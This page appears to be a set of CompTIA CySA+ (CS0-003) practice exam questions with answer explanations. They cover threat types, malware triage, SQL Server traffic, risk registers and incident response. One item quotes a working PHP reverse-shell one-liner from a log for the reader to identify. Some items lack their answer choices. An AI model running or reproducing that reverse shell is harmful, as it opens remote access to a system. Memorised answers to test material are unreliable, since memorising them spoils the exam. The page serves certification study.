Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known sources?
Answer(s): C
Option C is correct because preventing opening attachments from unknown sources is a defense against unintentional insider threats, where employees accidentally reveal data or compromise systems via phishing, malware, or risky behavior. A) Hacktivist threat targets political or social causes, not user attachment behavior. B) Advanced persistent threat is a long-term targeted intrusion, not the general user-attachment hygiene concept. D) Nation-state threat refers to state-sponsored actors conducting cyber operations, not internal user behavior.
A security analyst has received an incident case regarding malware spreading out of control on a customer's network. The analyst is unsure how to respond. The configured EDR has automatically obtained a sample of the malware and its signature. Which of the following should the analyst perform next to determine the type of malware based on its telemetry?
Answer(s): A
Option A is correct because cross-referencing the detected signature with open-source threat intelligence helps identify the malware family, behavior, indicators, and known telemetry, enabling informed containment and remediation decisions. B is incorrect: a full scan may duplicate effort and delay containment; it does not identify malware type from telemetry. C is incorrect: transferring to a sandbox is useful for dynamic analysis but is not the next step to determine type from telemetry already obtained. D is incorrect: netstat on affected systems provides network connections but does not classify malware type from telemetry telemetry alone.
A network analyst notices a long spike in traffic on port 1433 between two IP addresses on opposite sides of a WAN connection. Which of the following is the most likely cause?
Option C is correct because port 1433 is the default port for Microsoft SQL Server. A new database replication process would generate elevated, sustained traffic on this port between sites without SOC notification, consistent with legitimate operational activity that could appear as a spike if miscommunicated.A) Incorrect — Enumerating the local RFC1918 space would typically involve scanning or host discovery, not specifically a cross-WAN replication spike on 1433.B) Incorrect — Outbound control beacons imply beaconing traffic from a foothold, not a replication process on SQL Server, and would not necessarily target port 1433 across a WAN.D) Incorrect — Responder on the local segment generates LLMNR/NETBIOS traffic, not typically SQL Server replication traffic on 1433.
Which of the following is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence?
Option A is correct because a risk register documents identified threats/vulnerabilities, assigns likelihood and impact, and tracks mitigation actions over time, aligning with risk management processes in CySA+. B) Incorrect — vulnerability assessment discovers vulnerabilities but does not inherently map likelihood/impact or track mitigations in a formal risk register. C) Incorrect — a penetration test demonstrates exploitability but is a point activity, not a ongoing mapping/mitigation tracking tool. D) Incorrect — a compliance report assesses adherence to controls, not the ongoing risk prioritization and mitigation lifecycle.
Which of the following is often used to keep the number of alerts to a manageable level when establishing a process to track and analyze violations?
Answer(s): D
Option D is correct because a threshold value is used to limit alert generation by defining when an event is significant enough to trigger an alert, helping to keep the volume manageable during violation tracking. A) Log retention focuses on how long logs are kept, not alert quantity. B) Log rotation manages log file size and lifecycle, not alert density. C) Maximum log size constrains a single log file, but does not control alert frequency. Thresholds underpin escalation rules, baselining, and suppression logic to reduce noise while preserving actionable indicators.
While reviewing web server logs, a security analyst discovers the following suspicious line:php -r '$socket=fsockopen("10.0.0.1", 1234); passthru ("/bin/sh -i <&3 >&3 2>&3");'Which of the following is being attempted?
Option D is correct because the line attempts to create a network socket to 10.0.0.1:1234 and spawn an interactive shell, i.e., a reverse shell. A) Incorrect — Remote file inclusion involves including a remote file in a web application, not spawning a shell or opening a socket to exfiltrate data. B) Incorrect — Command injection would execute arbitrary commands on the server directly from user input; while this payload executes a shell, the visible objective is establishing a reverse connection, not just injecting commands. C) Incorrect — Server-side request forgery redirects the server’s requests to unintended destinations, not spawning a shell or establishing a reverse connection.
Which of the following should be updated after a lessons-learned review?
Option D is correct because lessons-learned reviews typically feed back into the incident response plan to update playbooks, containment strategies, and communication procedures based on recent incidents.A) Incorrect — Disaster recovery plan is focused on restoring IT infrastructure after a severe disruption, not primarily updated from lessons learned of individual incidents.B) Incorrect — Business continuity plan outlines sustaining operations across critical functions; lessons learned may inform it but updates are not the primary target.C) Incorrect — Tabletop exercise is a training activity used to exercise plans; it is not updated by the lessons-learned review itself.
A software developer has been deploying web applications with common security risks to include insufficient logging capabilities. Which of the following actions would be most effective to reduce risks associated with the application development?
Option D is correct because regular code reviews using OWASP best practices directly address insecure coding patterns and logging omissions identified by OWASP Top 10, reducing vulnerabilities during development and improving secure-by-default code. Incorrect — A: Static analysis helps find defects but may miss logic or insecure configurations without design-level review; not as comprehensive for development-wide risk reduction. B: Compensating controls are runtime mitigations, not preventive secure development practices. C: Server-side logging and updates are important for operations but do not inherently improve secure development practices or code-level risk reduction.
Post your Comments and Discuss CompTIA CS0-003 exam prep with other Community members:
Our website is free, but we have to fight against AI bots and content theft. We're sorry for the inconvenience caused by these security measures. You can access the rest of the CS0-003 content, but please register or login to continue.